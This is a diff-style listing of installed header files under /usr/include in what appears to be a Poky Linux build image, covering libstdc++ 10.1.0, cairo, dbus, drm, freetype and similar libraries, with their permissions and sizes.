+-rw-r--r-- root root 15281 ./usr/include/c++/10.1.0/parallel/multiway_mergesort.h
+-rw-r--r-- root root 20717 ./usr/include/c++/10.1.0/parallel/numeric
+-rw-r--r-- root root 7506 ./usr/include/c++/10.1.0/parallel/numericfwd.h
+-rw-r--r-- root root 4031 ./usr/include/c++/10.1.0/parallel/omp_loop.h
+-rw-r--r-- root root 4104 ./usr/include/c++/10.1.0/parallel/omp_loop_static.h
+-rw-r--r-- root root 1576 ./usr/include/c++/10.1.0/parallel/parallel.h
+-rw-r--r-- root root 4552 ./usr/include/c++/10.1.0/parallel/par_loop.h
+-rw-r--r-- root root 7474 ./usr/include/c++/10.1.0/parallel/partial_sum.h
+-rw-r--r-- root root 14961 ./usr/include/c++/10.1.0/parallel/partition.h
+-rw-r--r-- root root 5542 ./usr/include/c++/10.1.0/parallel/queue.h
+-rw-r--r-- root root 6126 ./usr/include/c++/10.1.0/parallel/quicksort.h
+-rw-r--r-- root root 4227 ./usr/include/c++/10.1.0/parallel/random_number.h
+-rw-r--r-- root root 18675 ./usr/include/c++/10.1.0/parallel/random_shuffle.h
+-rw-r--r-- root root 5391 ./usr/include/c++/10.1.0/parallel/search.h
+-rw-r--r-- root root 14590 ./usr/include/c++/10.1.0/parallel/set_operations.h
+-rw-r--r-- root root 12462 ./usr/include/c++/10.1.0/parallel/settings.h
+-rw-r--r-- root root 7709 ./usr/include/c++/10.1.0/parallel/sort.h
+-rw-r--r-- root root 5982 ./usr/include/c++/10.1.0/parallel/tags.h
+-rw-r--r-- root root 3716 ./usr/include/c++/10.1.0/parallel/types.h
+-rw-r--r-- root root 6165 ./usr/include/c++/10.1.0/parallel/unique_copy.h
+-rw-r--r-- root root 9610 ./usr/include/c++/10.1.0/parallel/workstealing.h
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/pstl
+-rw-r--r-- root root 68340 ./usr/include/c++/10.1.0/pstl/algorithm_fwd.h
+-rw-r--r-- root root 172216 ./usr/include/c++/10.1.0/pstl/algorithm_impl.h
+-rw-r--r-- root root 3694 ./usr/include/c++/10.1.0/pstl/execution_defs.h
+-rw-r--r-- root root 4834 ./usr/include/c++/10.1.0/pstl/execution_impl.h
+-rw-r--r-- root root 32278 ./usr/include/c++/10.1.0/pstl/glue_algorithm_defs.h
+-rw-r--r-- root root 64874 ./usr/include/c++/10.1.0/pstl/glue_algorithm_impl.h
+-rw-r--r-- root root 1549 ./usr/include/c++/10.1.0/pstl/glue_execution_defs.h
+-rw-r--r-- root root 3865 ./usr/include/c++/10.1.0/pstl/glue_memory_defs.h
+-rw-r--r-- root root 19574 ./usr/include/c++/10.1.0/pstl/glue_memory_impl.h
+-rw-r--r-- root root 6620 ./usr/include/c++/10.1.0/pstl/glue_numeric_defs.h
+-rw-r--r-- root root 11628 ./usr/include/c++/10.1.0/pstl/glue_numeric_impl.h
+-rw-r--r-- root root 1997 ./usr/include/c++/10.1.0/pstl/memory_impl.h
+-rw-r--r-- root root 7929 ./usr/include/c++/10.1.0/pstl/numeric_fwd.h
+-rw-r--r-- root root 18748 ./usr/include/c++/10.1.0/pstl/numeric_impl.h
+-rw-r--r-- root root 718 ./usr/include/c++/10.1.0/pstl/parallel_backend.h
+-rw-r--r-- root root 4084 ./usr/include/c++/10.1.0/pstl/parallel_backend_serial.h
+-rw-r--r-- root root 26379 ./usr/include/c++/10.1.0/pstl/parallel_backend_tbb.h
+-rw-r--r-- root root 5602 ./usr/include/c++/10.1.0/pstl/parallel_backend_utils.h
+-rw-r--r-- root root 4110 ./usr/include/c++/10.1.0/pstl/parallel_impl.h
+-rw-r--r-- root root 6990 ./usr/include/c++/10.1.0/pstl/pstl_config.h
+-rw-r--r-- root root 29256 ./usr/include/c++/10.1.0/pstl/unseq_backend_simd.h
+-rw-r--r-- root root 4606 ./usr/include/c++/10.1.0/pstl/utils.h
+-rw-r--r-- root root 2467 ./usr/include/c++/10.1.0/queue
+-rw-r--r-- root root 1692 ./usr/include/c++/10.1.0/random
+-rw-r--r-- root root 97030 ./usr/include/c++/10.1.0/ranges
+-rw-r--r-- root root 20107 ./usr/include/c++/10.1.0/ratio
+-rw-r--r-- root root 2648 ./usr/include/c++/10.1.0/regex
+-rw-r--r-- root root 17459 ./usr/include/c++/10.1.0/scoped_allocator
+-rw-r--r-- root root 3799 ./usr/include/c++/10.1.0/set
+-rw-r--r-- root root 24417 ./usr/include/c++/10.1.0/shared_mutex
+-rw-r--r-- root root 13251 ./usr/include/c++/10.1.0/span
+-rw-r--r-- root root 28524 ./usr/include/c++/10.1.0/sstream
+-rw-r--r-- root root 2391 ./usr/include/c++/10.1.0/stack
+-rw-r--r-- root root 9877 ./usr/include/c++/10.1.0/stdexcept
+-rw-r--r-- root root 2248 ./usr/include/c++/10.1.0/stdlib.h
+-rw-r--r-- root root 16254 ./usr/include/c++/10.1.0/stop_token
+-rw-r--r-- root root 30017 ./usr/include/c++/10.1.0/streambuf
+-rw-r--r-- root root 4645 ./usr/include/c++/10.1.0/string
+-rw-r--r-- root root 24878 ./usr/include/c++/10.1.0/string_view
+-rw-r--r-- root root 14871 ./usr/include/c++/10.1.0/system_error
+-rw-r--r-- root root 1360 ./usr/include/c++/10.1.0/tgmath.h
+-rw-r--r-- root root 13968 ./usr/include/c++/10.1.0/thread
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/tr1
+-rw-r--r-- root root 6983 ./usr/include/c++/10.1.0/tr1/array
+-rw-r--r-- root root 22937 ./usr/include/c++/10.1.0/tr1/bessel_function.tcc
+-rw-r--r-- root root 5995 ./usr/include/c++/10.1.0/tr1/beta_function.tcc
+-rw-r--r-- root root 1255 ./usr/include/c++/10.1.0/tr1/ccomplex
+-rw-r--r-- root root 1478 ./usr/include/c++/10.1.0/tr1/cctype
+-rw-r--r-- root root 2070 ./usr/include/c++/10.1.0/tr1/cfenv
+-rw-r--r-- root root 1380 ./usr/include/c++/10.1.0/tr1/cfloat
+-rw-r--r-- root root 2322 ./usr/include/c++/10.1.0/tr1/cinttypes
+-rw-r--r-- root root 1454 ./usr/include/c++/10.1.0/tr1/climits
+-rw-r--r-- root root 43874 ./usr/include/c++/10.1.0/tr1/cmath
+-rw-r--r-- root root 12384 ./usr/include/c++/10.1.0/tr1/complex
+-rw-r--r-- root root 1261 ./usr/include/c++/10.1.0/tr1/complex.h
+-rw-r--r-- root root 1246 ./usr/include/c++/10.1.0/tr1/cstdarg
+-rw-r--r-- root root 1344 ./usr/include/c++/10.1.0/tr1/cstdbool
+-rw-r--r-- root root 2687 ./usr/include/c++/10.1.0/tr1/cstdint
+-rw-r--r-- root root 1548 ./usr/include/c++/10.1.0/tr1/cstdio
+-rw-r--r-- root root 1862 ./usr/include/c++/10.1.0/tr1/cstdlib
+-rw-r--r-- root root 1248 ./usr/include/c++/10.1.0/tr1/ctgmath
+-rw-r--r-- root root 1234 ./usr/include/c++/10.1.0/tr1/ctime
+-rw-r--r-- root root 1209 ./usr/include/c++/10.1.0/tr1/ctype.h
+-rw-r--r-- root root 1784 ./usr/include/c++/10.1.0/tr1/cwchar
+-rw-r--r-- root root 1525 ./usr/include/c++/10.1.0/tr1/cwctype
+-rw-r--r-- root root 27644 ./usr/include/c++/10.1.0/tr1/ell_integral.tcc
+-rw-r--r-- root root 16013 ./usr/include/c++/10.1.0/tr1/exp_integral.tcc
+-rw-r--r-- root root 1204 ./usr/include/c++/10.1.0/tr1/fenv.h
+-rw-r--r-- root root 1209 ./usr/include/c++/10.1.0/tr1/float.h
+-rw-r--r-- root root 70545 ./usr/include/c++/10.1.0/tr1/functional
+-rw-r--r-- root root 6043 ./usr/include/c++/10.1.0/tr1/functional_hash.h
+-rw-r--r-- root root 14682 ./usr/include/c++/10.1.0/tr1/gamma.tcc
+-rw-r--r-- root root 41995 ./usr/include/c++/10.1.0/tr1/hashtable.h
+-rw-r--r-- root root 25086 ./usr/include/c++/10.1.0/tr1/hashtable_policy.h
+-rw-r--r-- root root 28066 ./usr/include/c++/10.1.0/tr1/hypergeometric.tcc
+-rw-r--r-- root root 1267 ./usr/include/c++/10.1.0/tr1/inttypes.h
+-rw-r--r-- root root 10652 ./usr/include/c++/10.1.0/tr1/legendre_function.tcc
+-rw-r--r-- root root 1214 ./usr/include/c++/10.1.0/tr1/limits.h
+-rw-r--r-- root root 4553 ./usr/include/c++/10.1.0/tr1/math.h
+-rw-r--r-- root root 1791 ./usr/include/c++/10.1.0/tr1/memory
+-rw-r--r-- root root 16324 ./usr/include/c++/10.1.0/tr1/modified_bessel_func.tcc
+-rw-r--r-- root root 3925 ./usr/include/c++/10.1.0/tr1/poly_hermite.tcc
+-rw-r--r-- root root 11676 ./usr/include/c++/10.1.0/tr1/poly_laguerre.tcc
+-rw-r--r-- root root 1589 ./usr/include/c++/10.1.0/tr1/random
+-rw-r--r-- root root 73123 ./usr/include/c++/10.1.0/tr1/random.h
+-rw-r--r-- root root 53927 ./usr/include/c++/10.1.0/tr1/random.tcc
+-rw-r--r-- root root 92899 ./usr/include/c++/10.1.0/tr1/regex
+-rw-r--r-- root root 14067 ./usr/include/c++/10.1.0/tr1/riemann_zeta.tcc
+-rw-r--r-- root root 32608 ./usr/include/c++/10.1.0/tr1/shared_ptr.h
+-rw-r--r-- root root 5055 ./usr/include/c++/10.1.0/tr1/special_function_util.h
+-rw-r--r-- root root 1214 ./usr/include/c++/10.1.0/tr1/stdarg.h
+-rw-r--r-- root root 1219 ./usr/include/c++/10.1.0/tr1/stdbool.h
+-rw-r--r-- root root 1214 ./usr/include/c++/10.1.0/tr1/stdint.h
+-rw-r--r-- root root 1209 ./usr/include/c++/10.1.0/tr1/stdio.h
+-rw-r--r-- root root 1487 ./usr/include/c++/10.1.0/tr1/stdlib.h
+-rw-r--r-- root root 1255 ./usr/include/c++/10.1.0/tr1/tgmath.h
+-rw-r--r-- root root 12119 ./usr/include/c++/10.1.0/tr1/tuple
+-rw-r--r-- root root 19019 ./usr/include/c++/10.1.0/tr1/type_traits
+-rw-r--r-- root root 1574 ./usr/include/c++/10.1.0/tr1/unordered_map
+-rw-r--r-- root root 10216 ./usr/include/c++/10.1.0/tr1/unordered_map.h
+-rw-r--r-- root root 1574 ./usr/include/c++/10.1.0/tr1/unordered_set
+-rw-r--r-- root root 9540 ./usr/include/c++/10.1.0/tr1/unordered_set.h
+-rw-r--r-- root root 3225 ./usr/include/c++/10.1.0/tr1/utility
+-rw-r--r-- root root 1249 ./usr/include/c++/10.1.0/tr1/wchar.h
+-rw-r--r-- root root 1255 ./usr/include/c++/10.1.0/tr1/wctype.h
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/tr2
+-rw-r--r-- root root 7370 ./usr/include/c++/10.1.0/tr2/bool_set
+-rw-r--r-- root root 8319 ./usr/include/c++/10.1.0/tr2/bool_set.tcc
+-rw-r--r-- root root 34336 ./usr/include/c++/10.1.0/tr2/dynamic_bitset
+-rw-r--r-- root root 8925 ./usr/include/c++/10.1.0/tr2/dynamic_bitset.tcc
+-rw-r--r-- root root 2130 ./usr/include/c++/10.1.0/tr2/ratio
+-rw-r--r-- root root 2699 ./usr/include/c++/10.1.0/tr2/type_traits
+-rw-r--r-- root root 60078 ./usr/include/c++/10.1.0/tuple
+-rw-r--r-- root root 3512 ./usr/include/c++/10.1.0/typeindex
+-rw-r--r-- root root 7746 ./usr/include/c++/10.1.0/typeinfo
+-rw-r--r-- root root 103356 ./usr/include/c++/10.1.0/type_traits
+-rw-r--r-- root root 3467 ./usr/include/c++/10.1.0/unordered_map
+-rw-r--r-- root root 3340 ./usr/include/c++/10.1.0/unordered_set
+-rw-r--r-- root root 14820 ./usr/include/c++/10.1.0/utility
+-rw-r--r-- root root 40362 ./usr/include/c++/10.1.0/valarray
+-rw-r--r-- root root 60701 ./usr/include/c++/10.1.0/variant
+-rw-r--r-- root root 4275 ./usr/include/c++/10.1.0/vector
+-rw-r--r-- root root 7706 ./usr/include/c++/10.1.0/version
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/x86_64-poky-linux
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits
+-rw-r--r-- root root 1518 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/atomic_word.h
+-rw-r--r-- root root 3575 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/basic_file.h
+-rw-r--r-- root root 1979 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/c++allocator.h
+-rw-r--r-- root root 61947 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/c++config.h
+-rw-r--r-- root root 1608 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/c++io.h
+-rw-r--r-- root root 3307 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/c++locale.h
+-rw-r--r-- root root 1333 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/cpu_defines.h
+-rw-r--r-- root root 2316 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/ctype_base.h
+-rw-r--r-- root root 2284 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/ctype_inline.h
+-rw-r--r-- root root 2096 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/cxxabi_tweaks.h
+-rw-r--r-- root root 5175 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/error_constants.h
+-rw-r--r-- root root 2628 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/extc++.h
+-rw-r--r-- root root 24260 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/gthr-default.h
+-rw-r--r-- root root 5608 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/gthr.h
+-rw-r--r-- root root 24260 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/gthr-posix.h
+-rw-r--r-- root root 6808 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/gthr-single.h
+-rw-r--r-- root root 4516 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/messages_members.h
+-rw-r--r-- root root 6194 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/opt_random.h
+-rw-r--r-- root root 2007 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/os_defines.h
+-rw-r--r-- root root 3286 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/stdc++.h
+-rw-r--r-- root root 1741 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/stdtr1c++.h
+-rw-r--r-- root root 2924 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/time_members.h
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/x86_64-poky-linux/ext
+-rw-r--r-- root root 4756 ./usr/include/c++/10.1.0/x86_64-poky-linux/ext/opt_random.h
+drwxr-xr-x root root 4096 ./usr/include/cairo
+-rw-r--r-- root root 8698 ./usr/include/cairo/cairo-deprecated.h
+-rw-r--r-- root root 1460 ./usr/include/cairo/cairo-features.h
+-rw-r--r-- root root 3721 ./usr/include/cairo/cairo-ft.h
+-rw-r--r-- root root 5117 ./usr/include/cairo/cairo-gl.h
+-rw-r--r-- root root 6452 ./usr/include/cairo/cairo-gobject.h
+-rw-r--r-- root root 110955 ./usr/include/cairo/cairo.h
+-rw-r--r-- root root 5617 ./usr/include/cairo/cairo-pdf.h
+-rw-r--r-- root root 3632 ./usr/include/cairo/cairo-ps.h
+-rw-r--r-- root root 3072 ./usr/include/cairo/cairo-script.h
+-rw-r--r-- root root 4059 ./usr/include/cairo/cairo-script-interpreter.h
+-rw-r--r-- root root 4504 ./usr/include/cairo/cairo-svg.h
+-rw-r--r-- root root 2173 ./usr/include/cairo/cairo-tee.h
+-rw-r--r-- root root 148 ./usr/include/cairo/cairo-version.h
+-rw-r--r-- root root 3775 ./usr/include/cairo/cairo-xcb.h
+-rw-r--r-- root root 3577 ./usr/include/cairo/cairo-xlib.h
+-rw-r--r-- root root 2436 ./usr/include/cairo/cairo-xlib-xrender.h
+-rw-r--r-- root root 3198 ./usr/include/cap-ng.h
+-rw-r--r-- root root 2118 ./usr/include/com_err.h
+-rw-r--r-- root root 7164 ./usr/include/complex.h
+-rw-r--r-- root root 2268 ./usr/include/cpio.h
+-rw-r--r-- root root 11160 ./usr/include/crypt.h
+-rw-r--r-- root root 19025 ./usr/include/ctf-api.h
+-rw-r--r-- root root 25153 ./usr/include/ctf.h
+-rw-r--r-- root root 10969 ./usr/include/ctype.h
+-rw-r--r-- root root 100249 ./usr/include/curses-64.h
+-rw-r--r-- root root 6878 ./usr/include/cursesapp.h
+-rw-r--r-- root root 28021 ./usr/include/cursesf.h
+-rw-r--r-- root root 512 ./usr/include/curses.h
+-rw-r--r-- root root 19874 ./usr/include/cursesm.h
+-rw-r--r-- root root 8722 ./usr/include/cursesp.h
+-rw-r--r-- root root 49871 ./usr/include/cursesw.h
+-rw-r--r-- root root 7407 ./usr/include/cursslk.h
+drwxr-xr-x root root 4096 ./usr/include/db51
+-rw-r--r-- root root 49057 ./usr/include/db51/db_cxx.h
+-rw-r--r-- root root 123105 ./usr/include/db51/db.h
+lrwxrwxrwx root root 13 ./usr/include/db_cxx.h -> db51/db_cxx.h
+lrwxrwxrwx root root 9 ./usr/include/db.h -> db51/db.h
+-rw-r--r-- root root 1414 ./usr/include/dbm.h
+drwxr-xr-x root root 4096 ./usr/include/dbus-1.0
+drwxr-xr-x root root 4096 ./usr/include/dbus-1.0/dbus
+-rw-r--r-- root root 2812 ./usr/include/dbus-1.0/dbus/dbus-address.h
+-rw-r--r-- root root 3472 ./usr/include/dbus-1.0/dbus/dbus-bus.h
+-rw-r--r-- root root 27020 ./usr/include/dbus-1.0/dbus/dbus-connection.h
+-rw-r--r-- root root 2911 ./usr/include/dbus-1.0/dbus/dbus-errors.h
+-rw-r--r-- root root 3963 ./usr/include/dbus-1.0/dbus/dbus.h
+-rw-r--r-- root root 6757 ./usr/include/dbus-1.0/dbus/dbus-macros.h
+-rw-r--r-- root root 1963 ./usr/include/dbus-1.0/dbus/dbus-memory.h
+-rw-r--r-- root root 15005 ./usr/include/dbus-1.0/dbus/dbus-message.h
+-rw-r--r-- root root 1813 ./usr/include/dbus-1.0/dbus/dbus-misc.h
+-rw-r--r-- root root 3811 ./usr/include/dbus-1.0/dbus/dbus-pending-call.h
+-rw-r--r-- root root 23642 ./usr/include/dbus-1.0/dbus/dbus-protocol.h
+-rw-r--r-- root root 4045 ./usr/include/dbus-1.0/dbus/dbus-python.h
+-rw-r--r-- root root 5414 ./usr/include/dbus-1.0/dbus/dbus-server.h
+-rw-r--r-- root root 5394 ./usr/include/dbus-1.0/dbus/dbus-shared.h
+-rw-r--r-- root root 3049 ./usr/include/dbus-1.0/dbus/dbus-signature.h
+-rw-r--r-- root root 2359 ./usr/include/dbus-1.0/dbus/dbus-syntax.h
+-rw-r--r-- root root 8507 ./usr/include/dbus-1.0/dbus/dbus-threads.h
+-rw-r--r-- root root 4145 ./usr/include/dbus-1.0/dbus/dbus-types.h
+-rw-r--r-- root root 3332 ./usr/include/diagnostics.h
+-rw-r--r-- root root 12515 ./usr/include/dirent.h
+-rw-r--r-- root root 16687 ./usr/include/dis-asm.h
+-rw-r--r-- root root 7479 ./usr/include/dlfcn.h
+drwxr-xr-x root root 4096 ./usr/include/drm
+-rw-r--r-- root root 31894 ./usr/include/drm/amdgpu_drm.h
+-rw-r--r-- root root 1212 ./usr/include/drm/armada_drm.h
+-rw-r--r-- root root 32817 ./usr/include/drm/drm_fourcc.h
+-rw-r--r-- root root 32129 ./usr/include/drm/drm.h
+-rw-r--r-- root root 28604 ./usr/include/drm/drm_mode.h
+-rw-r--r-- root root 2782 ./usr/include/drm/drm_sarea.h
+-rw-r--r-- root root 11822 ./usr/include/drm/etnaviv_drm.h
+-rw-r--r-- root root 11132 ./usr/include/drm/exynos_drm.h
+-rw-r--r-- root root 10061 ./usr/include/drm/i810_drm.h
+-rw-r--r-- root root 70507 ./usr/include/drm/i915_drm.h
+-rw-r--r-- root root 4817 ./usr/include/drm/lima_drm.h
+-rw-r--r-- root root 13010 ./usr/include/drm/mga_drm.h
+-rw-r--r-- root root 13230 ./usr/include/drm/msm_drm.h
+-rw-r--r-- root root 6560 ./usr/include/drm/nouveau_drm.h
+-rw-r--r-- root root 4141 ./usr/include/drm/omap_drm.h
+-rw-r--r-- root root 7346 ./usr/include/drm/panfrost_drm.h
+-rw-r--r-- root root 4131 ./usr/include/drm/qxl_drm.h
+-rw-r--r-- root root 10000 ./usr/include/drm/r128_drm.h
+-rw-r--r-- root root 38236 ./usr/include/drm/radeon_drm.h
+-rw-r--r-- root root 7170 ./usr/include/drm/savage_drm.h
+-rw-r--r-- root root 2637 ./usr/include/drm/sis_drm.h
+-rw-r--r-- root root 14877 ./usr/include/drm/tegra_drm.h
+-rw-r--r-- root root 8671 ./usr/include/drm/v3d_drm.h
+-rw-r--r-- root root 14457 ./usr/include/drm/vc4_drm.h
+-rw-r--r-- root root 1971 ./usr/include/drm/vgem_drm.h
+-rw-r--r-- root root 8345 ./usr/include/drm/via_drm.h
+-rw-r--r-- root root 5010 ./usr/include/drm/virtgpu_drm.h
+-rw-r--r-- root root 35392 ./usr/include/drm/vmwgfx_drm.h
+-rw-r--r-- root root 31014 ./usr/include/dwarf.h
+drwxr-xr-x root root 4096 ./usr/include/e2p
+-rw-r--r-- root root 3252 ./usr/include/e2p/e2p.h
+-rw-r--r-- root root 180099 ./usr/include/elf.h
+drwxr-xr-x root root 4096 ./usr/include/elfutils
+-rw-r--r-- root root 3947 ./usr/include/elfutils/elf-knowledge.h
+-rw-r--r-- root root 41860 ./usr/include/elfutils/known-dwarf.h
+-rw-r--r-- root root 7098 ./usr/include/elfutils/libasm.h
+-rw-r--r-- root root 6452 ./usr/include/elfutils/libdwelf.h
+-rw-r--r-- root root 37558 ./usr/include/elfutils/libdwfl.h
+-rw-r--r-- root root 44920 ./usr/include/elfutils/libdw.h
+-rw-r--r-- root root 1274 ./usr/include/elfutils/version.h
+-rw-r--r-- root root 2299 ./usr/include/endian.h
+-rw-r--r-- root root 2867 ./usr/include/envz.h
+-rw-r--r-- root root 2267 ./usr/include/err.h
+-rw-r--r-- root root 1679 ./usr/include/errno.h
+-rw-r--r-- root root 2282 ./usr/include/error.h
+drwxr-xr-x root root 4096 ./usr/include/et
+-rw-r--r-- root root 2118 ./usr/include/et/com_err.h
+-rw-r--r-- root root 2969 ./usr/include/eti.h
+-rw-r--r-- root root 9775 ./usr/include/etip.h
+-rw-r--r-- root root 1523 ./usr/include/execinfo.h
+-rw-r--r-- root root 3830 ./usr/include/expat_config.h
+-rw-r--r-- root root 5528 ./usr/include/expat_external.h
+-rw-r--r-- root root 41473 ./usr/include/expat.h
+drwxr-xr-x root root 4096 ./usr/include/ext2fs
+-rw-r--r-- root root 22148 ./usr/include/ext2fs/bitops.h
+-rw-r--r-- root root 11847 ./usr/include/ext2fs/ext2_err.h
+-rw-r--r-- root root 2644 ./usr/include/ext2fs/ext2_ext_attr.h
+-rw-r--r-- root root 42075 ./usr/include/ext2fs/ext2_fs.h
+-rw-r--r-- root root 72208 ./usr/include/ext2fs/ext2fs.h
+-rw-r--r-- root root 5391 ./usr/include/ext2fs/ext2_io.h
+-rw-r--r-- root root 4212 ./usr/include/ext2fs/ext2_types-64.h
+-rw-r--r-- root root 556 ./usr/include/ext2fs/ext2_types.h
+-rw-r--r-- root root 4558 ./usr/include/ext2fs/ext3_extents.h
+-rw-r--r-- root root 1179 ./usr/include/ext2fs/hashmap.h
+-rw-r--r-- root root 2588 ./usr/include/ext2fs/qcow2.h
+-rw-r--r-- root root 8871 ./usr/include/ext2fs/tdb.h
+-rw-r--r-- root root 11026 ./usr/include/fcntl.h
+-rw-r--r-- root root 17235 ./usr/include/features.h
+-rw-r--r-- root root 5874 ./usr/include/fenv.h
+-rw-r--r-- root root 13934 ./usr/include/ffi-64.h
+-rw-r--r-- root root 500 ./usr/include/ffi.h
+-rw-r--r-- root root 4343 ./usr/include/ffitarget.h
+drwxr-xr-x root root 4096 ./usr/include/finclude
+-rw-r--r-- root root 2384 ./usr/include/finclude/math-vector-fortran.h
+-rw-r--r-- root root 6893 ./usr/include/FlexLexer.h
+-rw-r--r-- root root 3240 ./usr/include/fmtmsg.h
+-rw-r--r-- root root 2296 ./usr/include/fnmatch.h
+drwxr-xr-x root root 4096 ./usr/include/fontconfig
+-rw-r--r-- root root 1958 ./usr/include/fontconfig/fcfreetype.h
+-rw-r--r-- root root 4489 ./usr/include/fontconfig/fcprivate.h
+-rw-r--r-- root root 28461 ./usr/include/fontconfig/fontconfig.h
+-rw-r--r-- root root 18811 ./usr/include/form.h
+-rw-r--r-- root root 3584 ./usr/include/fpu_control.h
+drwxr-xr-x root root 4096 ./usr/include/freedreno
+-rw-r--r-- root root 4992 ./usr/include/freedreno/freedreno_drmif.h
+-rw-r--r-- root root 4963 ./usr/include/freedreno/freedreno_ringbuffer.h
+drwxr-xr-x root root 4096 ./usr/include/freetype2
+drwxr-xr-x root root 4096 ./usr/include/freetype2/freetype
+drwxr-xr-x root root 4096 ./usr/include/freetype2/freetype/config
+-rw-r--r-- root root 19859 ./usr/include/freetype2/freetype/config/ftconfig-64.h
+-rw-r--r-- root root 624 ./usr/include/freetype2/freetype/config/ftconfig.h
+-rw-r--r-- root root 23228 ./usr/include/freetype2/freetype/config/ftheader.h
+-rw-r--r-- root root 1056 ./usr/include/freetype2/freetype/config/ftmodule.h
+-rw-r--r-- root root 39330 ./usr/include/freetype2/freetype/config/ftoption.h
+-rw-r--r-- root root 4307 ./usr/include/freetype2/freetype/config/ftstdlib.h
+-rw-r--r-- root root 165664 ./usr/include/freetype2/freetype/freetype.h
+-rw-r--r-- root root 5479 ./usr/include/freetype2/freetype/ftadvanc.h
+-rw-r--r-- root root 2652 ./usr/include/freetype2/freetype/ftbbox.h
+-rw-r--r-- root root 5336 ./usr/include/freetype2/freetype/ftbdf.h
+-rw-r--r-- root root 9055 ./usr/include/freetype2/freetype/ftbitmap.h
+-rw-r--r-- root root 2745 ./usr/include/freetype2/freetype/ftbzip2.h
+-rw-r--r-- root root 33870 ./usr/include/freetype2/freetype/ftcache.h
+-rw-r--r-- root root 2510 ./usr/include/freetype2/freetype/ftchapters.h
+-rw-r--r-- root root 4036 ./usr/include/freetype2/freetype/ftcid.h
+-rw-r--r-- root root 8927 ./usr/include/freetype2/freetype/ftcolor.h
+-rw-r--r-- root root 47451 ./usr/include/freetype2/freetype/ftdriver.h
+-rw-r--r-- root root 12336 ./usr/include/freetype2/freetype/fterrdef.h
+-rw-r--r-- root root 8904 ./usr/include/freetype2/freetype/fterrors.h
+-rw-r--r-- root root 2227 ./usr/include/freetype2/freetype/ftfntfmt.h
+-rw-r--r-- root root 4152 ./usr/include/freetype2/freetype/ftgasp.h
+-rw-r--r-- root root 18505 ./usr/include/freetype2/freetype/ftglyph.h
+-rw-r--r-- root root 10639 ./usr/include/freetype2/freetype/ftgxval.h
+-rw-r--r-- root root 4170 ./usr/include/freetype2/freetype/ftgzip.h
+-rw-r--r-- root root 39169 ./usr/include/freetype2/freetype/ftimage.h
+-rw-r--r-- root root 10322 ./usr/include/freetype2/freetype/ftincrem.h
+-rw-r--r-- root root 11969 ./usr/include/freetype2/freetype/ftlcdfil.h
+-rw-r--r-- root root 7114 ./usr/include/freetype2/freetype/ftlist.h
+-rw-r--r-- root root 2726 ./usr/include/freetype2/freetype/ftlzw.h
+-rw-r--r-- root root 7793 ./usr/include/freetype2/freetype/ftmac.h
+-rw-r--r-- root root 21811 ./usr/include/freetype2/freetype/ftmm.h
+-rw-r--r-- root root 21820 ./usr/include/freetype2/freetype/ftmodapi.h
+-rw-r--r-- root root 6598 ./usr/include/freetype2/freetype/ftmoderr.h
+-rw-r--r-- root root 5360 ./usr/include/freetype2/freetype/ftotval.h
+-rw-r--r-- root root 17476 ./usr/include/freetype2/freetype/ftoutln.h
+-rw-r--r-- root root 5606 ./usr/include/freetype2/freetype/ftparams.h
+-rw-r--r-- root root 4924 ./usr/include/freetype2/freetype/ftpfr.h
+-rw-r--r-- root root 6627 ./usr/include/freetype2/freetype/ftrender.h
+-rw-r--r-- root root 4302 ./usr/include/freetype2/freetype/ftsizes.h
+-rw-r--r-- root root 7742 ./usr/include/freetype2/freetype/ftsnames.h
+-rw-r--r-- root root 21778 ./usr/include/freetype2/freetype/ftstroke.h
+-rw-r--r-- root root 3376 ./usr/include/freetype2/freetype/ftsynth.h
+-rw-r--r-- root root 8540 ./usr/include/freetype2/freetype/ftsystem.h
+-rw-r--r-- root root 7403 ./usr/include/freetype2/freetype/fttrigon.h
+-rw-r--r-- root root 14467 ./usr/include/freetype2/freetype/fttypes.h
+-rw-r--r-- root root 7980 ./usr/include/freetype2/freetype/ftwinfnt.h
+-rw-r--r-- root root 22843 ./usr/include/freetype2/freetype/t1tables.h
+-rw-r--r-- root root 58791 ./usr/include/freetype2/freetype/ttnameid.h
+-rw-r--r-- root root 25245 ./usr/include/freetype2/freetype/tttables.h
+-rw-r--r-- root root 5106 ./usr/include/freetype2/freetype/tttags.h
+-rw-r--r-- root root 1111 ./usr/include/freetype2/ft2build.h
+-rw-r--r-- root root 3111 ./usr/include/fstab.h
+-rw-r--r-- root root 8373 ./usr/include/fts.h
+-rw-r--r-- root root 5252 ./usr/include/ftw.h
+-rw-r--r-- root root 40486 ./usr/include/gawkapi.h
+-rw-r--r-- root root 4211 ./usr/include/gconv.h
+drwxr-xr-x root root 4096 ./usr/include/gdbm
+lrwxrwxrwx root root 9 ./usr/include/gdbm/gdbm.h -> ../gdbm.h
+-rw-r--r-- root root 10345 ./usr/include/gdbm.h
+lrwxrwxrwx root root 9 ./usr/include/gdbm/ndbm.h -> ../ndbm.h
+-rw-r--r-- root root 11312 ./usr/include/gelf.h
